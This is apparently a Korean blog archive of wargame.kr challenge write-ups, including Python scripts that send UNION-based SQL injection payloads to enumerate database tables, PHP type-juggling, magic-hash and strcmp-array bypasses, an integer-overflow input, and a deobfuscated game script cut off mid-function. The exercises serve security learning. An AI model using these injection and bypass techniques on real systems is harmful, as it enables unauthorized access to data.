반응형
반응형
반응형

pyc decompile

 

bughela.pyc

:D

 

 

 

 

 

servertime 이 표시되며, pyc 파일이 주어진다.

 

pyc는 python에서 import 한 py파일을 컴파일해서 만들어진다.

 

 

 

 

 

 

 

pyc 디컴파일은 간단하다.

 

sudo pip install uncompyle6
uncompyle6 bughela.pyc 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Nov  7 2019, 10:44:02) 
# [GCC 8.3.0]
# Embedded file name: bughela.py
# Compiled at: 2015-02-09 16:13:20
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
 
 
def GIVE_ME_FLAG(flag):
    if flag[:43!= 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'
 
 
def die():
    print 'NOPE...'
    exit()
 
 
if __name__ == '__main__':
    main()
 
cs

 

19행부터 24행의 과정을 거쳐서 flag값을 만들어낸다.

 

해당 코드만 뽑아서 flag를 가져오는 코드를 작성하였다.

 

 

 

주의 할 점은 서버의 시간과 로컬의 시간이 맞지 않다.

따라서 로컬의 시간을 서버의 시간으로 맞춰주어야 한다. (10행에서 보정)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time
from hashlib import sha512
 
url= 'http://wargame.kr:8080/pyc_decompile/?flag='
 
now = time.localtime(time.time())
seed = time.strftime('%m/%d/HJEJSH', time.localtime())
hs = sha512(seed).hexdigest()
start = now.tm_hour % 3 + 1
end = start * ((now.tm_min+8) % 30 + 10)
ok = hs[start:end]
print ok
 
 
import urllib
import urllib2
 
 
url += ok
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
반응형

web chatting

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.

 

 

 

로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해 

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772

 

이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.

 

 

이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.

 

그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.

 

 

 

 

 

 

 

 

 

 

일단, union을 사용해서 sqli를 시도했다.

ni=54772 union select 1,2,3,4,5 --

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

그 결과, 마지막행에 아래 내용이 출력되었다.

 

2 (5..*.) : 3

 

select 했던 2, 3, 5가 나온 것이다. 

 

 

 

 

 

 

 

 

이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.

ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

 

INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3

 

 

 

 

 

 

 

 

 

 

 

readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.

 

 

 

 

 

 

 

한번 확인해 보면,

마지막 줄에 플래그값이 출력된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
반응형

EASY_CrackMe

 

Simple Reverse Engineering Challenge.


Find the Password!! xD
패스워드를 찾아보세요!! xD

CrackMe1st.exe (compiled on Windows7 Visual studio 2008)]

 

 

 

ida로 열어보자

 

wcsstr() 함수는 문자열을 검색하는 함수이다.

 

_my_b 와 birth가 존재하는지를 찾아내는 것이다.

 

_wtoi는 문자열에 있는 숫자를 찾아서 정수로 반환해준다.

 

 

따라서 패스워드는 1114_my_birth

 

 

http://wargame.kr:8080/prob/18/ps.php?p=1114_my_birth

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
반응형

php? c?

 

 

do you know "integer type" of 32bit application?

 

 

입력칸이 2개가 있다.

D1

D2

 

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2'])){
  $input1=(int)$_POST['d1'];
  $input2=(int)$_POST['d2'];
  if(!is_file("/tmp/p7")){exec("gcc -o /tmp/p7 ./p7.c");}
  $result=exec("/tmp/p7 ".$input1);
  if($result!=1 && $result==$input2){echo auth_code("php? c?");}else{echo "try again!";}
 }else{echo ":p";}
?>
<style>
 table {background-color:#000; color:#fff;}
 td {background-color:#444;}
</style>
<hr />
 <center>
  <form method='post'>
  <table>
  <tr><td>D1:</td><td><input type='text' id="firstf" style="width:75px;" maxlength="9" name='d1'></td></tr>
  <tr><td>D2:</td><td><input type='text' style="width:75px;" name='d2'></td></tr>
  <tr><td colspan="2" style="text-align:center;"><input type='submit' value='try'></td></tr>
  </table>
  </form>
 <div><a href='?view-source'>get source</a></div>
 </center>
 <script>
  document.getElementById("firstf").focus();
 </script>
cs

 

p7 에 인자값으로 input1을 줘서 실행 값이 1이 아니면서 input2와 값이 같으면 플래그를 얻을 수 있다.

 

p7.c를 확인해보자

http://wargame.kr:8080/php_c/p7.c

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
void nono();
int main(int argc,char **argv){
 int i;
 if(argc!=2){nono();}
 i=atoi(argv[1]);
 if(i<0){nono();}
 i=i+5;
 if(i>4){nono();}
 if(i<5){printf("%d",i);}
 return 0;
}
void nono(){
  printf("%d",1);
  exit(1);
}
cs

 

8행 : i가 음수이면 안됨

 

10행 : i+5 가 4보다 크면 안됨

11행 : i+5가 5보다 작으면 안됨

 

 

이 조건을 모두 만족하는 i는 없는 것 처럼 보이지만, intager overflow를 하면 모든 조건문을 통과할 수 있다.

 

int의 최댓값+1이 되면 0 또는 음수값으로 인식을 하기 때문이다.

https://m.blog.naver.com/wwwkasa/80180210172

 

정수 오버플로우(Integer Overflow)

# 정수 오버플로우(Integer Overflow) 1. 개요 정수형 변수의 오버플로우는 정수값이 증가하면서 허용된 ...

blog.naver.com

 

d1 : 2147483643

d2 : -2147483648

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
반응형

img recovery

Recovery the PNG image file!

but.. is this really "PNG" file?
(NO STEGANOGRAPHY. THIS IS FORENSIC CHALLENGE)

 

코드를 찾으라고 한다.

 

이미지라고는 pattern.png 밖에 없는 듯 하다.

 

해당 파일을 다운받아서 분석해보았다.

 

 

TweakPNG 로 열어보면

PNG파일의 확장포멧인 APNG파일임을 알 수 있다.

https://ko.wikipedia.org/wiki/APNG

 

APNG - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 애니메이션 포터블 네트워크 그래픽스애니메이션 PNG (일부 웹 브라우저에서는 정적인 이미지로 표시됨)파일 확장자.png .apng발표일2008년 8월 4일 (11년 전)(2008-08-04)포맷 종류애니메이션 래스터 이미지 포맷다음으로부터 확장PNG오픈 포맷?예 APNG(Animated Portable Network Graphics)는 PNG를 확장한 이미지 파일 포맷으로, Stuart Parmenter와 Vladimir

ko.wikipedia.org

 

 

 

 

 

도구를 이용해서 이미지를 분리해 내자

 

 

https://ezgif.com/split

 

Split animated GIF image in frames (free online tool)

This online tool is designed to convert an animated GIF (and WebM, APNG, MNG) image into individual frames for editing or viewing them separately.

ezgif.com

 

 

 

 

다운받은 이미지와 웹브라우저에 봤던 이미지와 다른데, 

 

생긴게 qr코드 처럼 생겼다.

 

포토샵으로 두 개를 겹치면 qr코드를 얻을 수 있고, 스캔하면 코드를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
반응형

type confusion

Simple Compare Challenge.

hint? you can see the title of this challenge.

:D

 

 

와 간단 비교 챌린지!

 

힌트는 이 문제의 제목이라고 한다. type confusion 타입을 혼동

 

 

 

페이지 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true"flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }
 
 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_"true);
    $key = sha1($key);
     return $key;
 }
?>
 
<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>
cs

 

usleep(500000); == sleep(0.5);

 

 

$key값은 sha1( welcome to wargame.kr!_[마이크로초단위의 타임스탬프] ) 이다.

 

$key값을 맞출 수는 없다.

 

 

 

 

11행을 보면  == 느슨한 비교를 하고 있다.

 

true == "string" 는 true다.

 

php 느슨한 비교 라고 검색을 해보면 ture false 표가 나온다. 참고하자.

 

 

 

 

 

우리는 $json->key 값에 true를 보내면 된다.

첫 페이지 소스를 보면, check 버튼을 누르면, submit_check(this); 함수를 호출한다.

해당 함수는 http://wargame.kr:8080/type_confusion/util.js에 정의되어있다.

 

 

 

정의된 함수를 가져와서 key값에 true가 들어가도록 재정의 해주었다. 크롬 개발자도구 콘솔창을 이용하면 된다.

 

 

25행 수정

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
    if (lock) {
        alert("waiting..");
        return false;
    }
    lock = true;
    var key = f.key.value;
    if (key == "") {
        alert("please fill the input box.");
        lock = false;
        return false;
    }
 
    submit(key);
 
    return false;
}
 
function submit(key){
    $.ajax({
        type : "POST",
        async : false,
        url : "./index.php",
        data : {json:JSON.stringify({key: true})},
        dataType : 'json'
    }).done(function(result){
        if (result['code'== true) {
            document.write("Congratulations! flag is " + result['flag']);
        } else {
            alert("nope...");
        }
        lock = false;
    });
}
cs

 

그러면 입력란에 아무거나 입력하고 check를 누르면 flag를 얻을 수 있다.

 

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
반응형

md5_compare

JUST COMPARE ONLY.

with the other value :D

 

 

 

빠르게 소스를 확인하자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }
 
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force
 
        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
 
        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1!= md5($v2)) {$chk = false;}
 
        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

간단하다 v1은 전부 알파벳으로 이루어져 있어야 하고, v2는 전부 숫자로 이루어져 있어야 한다.

 

그리고 v1의 md5해쉬 값과 v2의 md5 해쉬값이 일치해야 한다.

 

 

 

 

php의 느슨한 비교(==)를 하기 때문에 magic hash를 사용할 수 있다.

 

v | input | md5

v1 | QNKCDZO | 0e830400451993494058024219903391

v2 | 240610708 | 0e46209743190650901956298873685

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
반응형

DB is really GOOD

What kind of this Database?

you have to find correlation between user name and database.

 

 

 

 

user name과 db의 상관관계를 찾아내면 될 것 같다.

 

 

 

첫 화면에서 admin으로 로그인 되지 않는다. 페이지 소스를 보면 

function fschk(f){
    if(f.user_id.value=="admin"){
        alert("dont access with 'admin'");
        return false;
    }
}

admin으로 로그인을 막는 js 코드가 존재한다.

 

 

그러나 해당 코드를 삭제해도 can not access admin.. 라고 admin으로 로그인이 불가능하다.

 

 

 

 

 

다른 닉네임들로 로그인해서 몇 번 만져보면 user name 가 하나의 다른 게시판역할을 하는 것을 알 수 있다.

 

= 다른 사람이 입력을 안했을 것 같은 user name으로 들어가보면 아무것도 없다.

= guest로 들어가서 메모를 남겨놓으면 나중에 guest로 들어가도 남아있다.

 

 

 

그러면 admin인 게시판을 찾아야 하는데 딱히 단서가 보이지 않았다.

 

그래서 메인 화면에서 여러가지 user name을 시도해 보았다.

 

 

 

 

<>?,./을 입력했을 때 오류메세지를 얻을 수 있었고 입력한 값을 경로로 하는 것을 찾을 수 있었다.

 

입력값을 경로로 하기 때문에 오류나는 문자는 . 나 / 일것이고, 결국 / 가 오류가 나는 원인임을 찾을 수 있었다.

 

 

 

 

 

Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /var/www/html/db_is_really_good/sqlite3.php:7 Stack trace: #0 /var/www/html/db_is_really_good/sqlite3.php(7): SQLite3->open('./db/wkrm_/.db') #1 /var/www/html/db_is_really_good/memo.php(14): MyDB->__construct('./db/wkrm_/.db') #2 {main} thrown in /var/www/html/db_is_really_good/sqlite3.php on line 7

 

 

 

./db/wkrm_[입력값].db 을 가져오는 것을 알 수 있다.

 

[입력값] 에 admin을 넣은 경로로 이동하면 해당 db파일을 다운로드 받을 수 있다.

 

 

 

 

 

 

 

 

다운로드 받은 파일을 Hxd로 열면 주소를 하나 더 얻을 수 있다.

 

해당 주소로 이동하면 flag가 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
반응형

strcmp

if you can bypass the strcmp function, you get the flag.

 

 

 

password를 입력받는 칸과 소스를 확인할 수 있는 링크가 있다.

 

일단 소스코드를 확인해 보자.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require("../lib.php"); // for auth_code function
 
    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());
 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password== 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }
 
?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

$password sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password는 랜덤 값의 sha1 해쉬값이다. 따라서 때려맞출 수는 없다.

 

 

 

 

대신 strcmp함수의 취약점을 이용하면 된다.

 

strcmp(String, Array()) 는 NULL을 반환한다.

 

php에서 NULL == 0 은 True가 된다.

 

 

 

 

 

 

따라서 password를 배열로 보내면 flag를 얻을 수 있게 된다.

 

크롬 개발자 도구를 이용해서 password를 password[]로 바꾼 뒤에 아무 값이나 입력해서 보내면, flag를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
반응형

fly me to the moon

 

javascript game.

can you clear with bypass prevent cheating system?

 

 

 

 

게임을 시작하면, 양 옆 초록색 벽에 부딪히지 않도록 움직여야 한다.

 

 

 

 

 

 

벽에 닿아 죽게 되면 31337점을 얻어야 된다고 나온다.

 

 

 

그럼 이제 js 코드를 확인해 보자

 

난독화가 되어 있어서 읽을 수 없다.

 

 

 

 

 

 

위 난독화 정도는 아래 사이트를 이용해서 unPack이 가능하다.

https://www.strictly-software.com/unpack-javascript

 

Javascript Unpacker Tool - Strictly Software

This Javascript unpacker tool has now been upgraded to allow it to unpack multiple eval statements. So if your packed code has itself been packed a few times it will loop through until it finds the original source code. If you want to test this multiple ev

www.strictly-software.com

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
var _0x32bb = ["\x6B\x69\x6C\x6C\x50\x6C\x61\x79\x65\x72""\x63\x68\x65\x63\x6B\x4C\x69\x66\x65""\x67\x65\x74\x53\x63\x6F\x72\x65""\x42\x69\x6E\x63\x53\x63\x6F\x72\x65""\x73\x68\x72\x69\x6E\x6B\x54\x75\x6E\x6E\x65\x6C""\x77\x69\x64\x74\x68\x54\x75\x6E\x6E\x65\x6C""\x6F\x62\x6A\x65\x63\x74""\x44\x6F\x20\x63\x68\x65\x61\x74\x69\x6E\x67\x2C\x20\x69\x66\x20\x79\x6F\x75\x20\x63\x61\x6E""\x77\x61\x72\x6E""\x6F\x66\x66\x73\x65\x74\x4C\x65\x66\x74""\x74\x75\x6E\x6E\x65\x6C""\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64""\x74\x6F\x70""""\x70\x78""\x63\x73\x73""\x64\x69\x73\x70\x6C\x61\x79""\x62\x6C\x6F\x63\x6B""\x65\x61\x63\x68""\x69\x6D\x67\x2E\x6C\x65\x66\x74\x5F\x77\x61\x6C\x6C""\x69\x6D\x67\x2E\x72\x69\x67\x68\x74\x5F\x77\x61\x6C\x6C""\x23\x68\x69\x67\x68\x5F\x73\x63\x6F\x72\x65\x73""\x72\x65\x6D\x6F\x76\x65""\x74\x61\x62\x6C\x65""\x6E\x6F\x6E\x65""\x64\x69\x76\x23\x73\x63\x6F\x72\x65\x5F\x74\x61\x62\x6C\x65""\x63\x6C\x69\x63\x6B""\x74\x65\x78\x74""\x73\x70\x61\x6E\x23\x73\x63\x6F\x72\x65""\x6C\x65\x66\x74""\x69\x6D\x67\x23\x73\x68\x69\x70""\x73\x6C\x6F\x77""\x66\x61\x64\x65\x49\x6E""\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E""\x35\x30\x25\x20""\x64\x69\x76\x23\x74\x75\x6E\x6E\x65\x6C""\x72\x61\x6E\x64\x6F\x6D""\x66\x6C\x6F\x6F\x72""\x75\x70\x64\x61\x74\x65\x54\x75\x6E\x6E\x65\x6C\x28\x29""\x66\x61\x64\x65\x4F\x75\x74""\x50\x4F\x53\x54""\x68\x69\x67\x68\x2D\x73\x63\x6F\x72\x65\x73\x2E\x70\x68\x70""\x74\x6F\x6B\x65\x6E\x3D""\x26\x73\x63\x6F\x72\x65\x3D""\x61\x6A\x61\x78""\x68\x74\x6D\x6C""\x70\x23\x77\x65\x6C\x63\x6F\x6D\x65""\x75\x70\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E\x28\x29""\x74\x68\x78\x2C\x20\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x6D\x6F\x75\x73\x65\x6F\x76\x65\x72""\x23\x63\x68\x72\x69\x73\x74\x69\x61\x6E""\x6D\x6F\x75\x73\x65\x6F\x75\x74""\x72\x65\x61\x64\x79""\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x70\x61\x67\x65\x58""\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65""\x74\x6F\x6B\x65\x6E\x2E\x70\x68\x70""\x67\x65\x74"];
function secureGame() {
    var _0x8618x2 = this;
    var _0x8618x3 = true;
    function _0x8618x4() {
        _0x8618x3 = false;
        return true
    };
    function _0x8618x5() {
        return _0x8618x3
    };
    this[_0x32bb[0]] = function () {
        _0x8618x4();
        return true
    };
    this[_0x32bb[1]] = function () {
        return _0x8618x5()
    };
    var _0x8618x6 = 0;
    function _0x8618x7() {
        return _0x8618x6
    };
    function _0x8618x8() {
        if (_0x8618x3) {
            _0x8618x6++
        };
        return true
    };
    this[_0x32bb[2]] = function () {
        return _0x8618x7()
    };
    this[_0x32bb[3]] = function () {
        _0x8618x8();
        return true
    };
    var _0x8618x9 = 320;
    function _0x8618xa() {
        _0x8618x9 -= 20;
        return true
    };
    function _0x8618xb() {
        return _0x8618x9
    };
    this[_0x32bb[4]] = function () {
        _0x8618xa();
        return true
    };
    this[_0x32bb[5]] = function () {
        return _0x8618xb()
    }
};
var bg_val = 0;
var rail_left = 0;
var rail_right = 500;
var ship_x = 234;
var pos_x = 234;
var c_s = 0;
var c_r = 0;
var c_w = 0;
var t_state = 0;
left_wall = new Array(20);
right_wall = new Array(20);
function initTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    rail_left = document[_0x32bb[11]](_0x32bb[10])[_0x32bb[9]];
    rail_right += rail_left;
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[25])[_0x32bb[26]](function () {
        $(_0x32bb[23])[_0x32bb[22]](_0x32bb[21]);
        $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        restartTunnel();
        updateTunnel()
    })
};
function restartTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    ship_x = 234;
    c_s = 0;
    c_r = 0;
    c_w = 0;
    $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ 0);
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[30])[_0x32bb[32]](_0x32bb[31]);
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    })
};
function updateTunnel() {
    bg_val = bg_val + 2;
    if (bg_val > 20) {
        bg_val = 0
    };
    $(_0x32bb[35])[_0x32bb[15]](_0x32bb[33], _0x32bb[34+ bg_val + _0x32bb[14]);
    if (ship_x + 32 < 500) {
        if (ship_x + 46 < pos_x) {
            ship_x += 4
        } else {
            if (ship_x + 16 < pos_x) {
                ship_x += 2
            }
        }
    };
    if (ship_x > 0) {
        if (ship_x - 14 > pos_x) {
            ship_x -= 4
        } else {
            if (ship_x + 16 > pos_x) {
                ship_x -= 2
            }
        }
    };
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    c_r++;
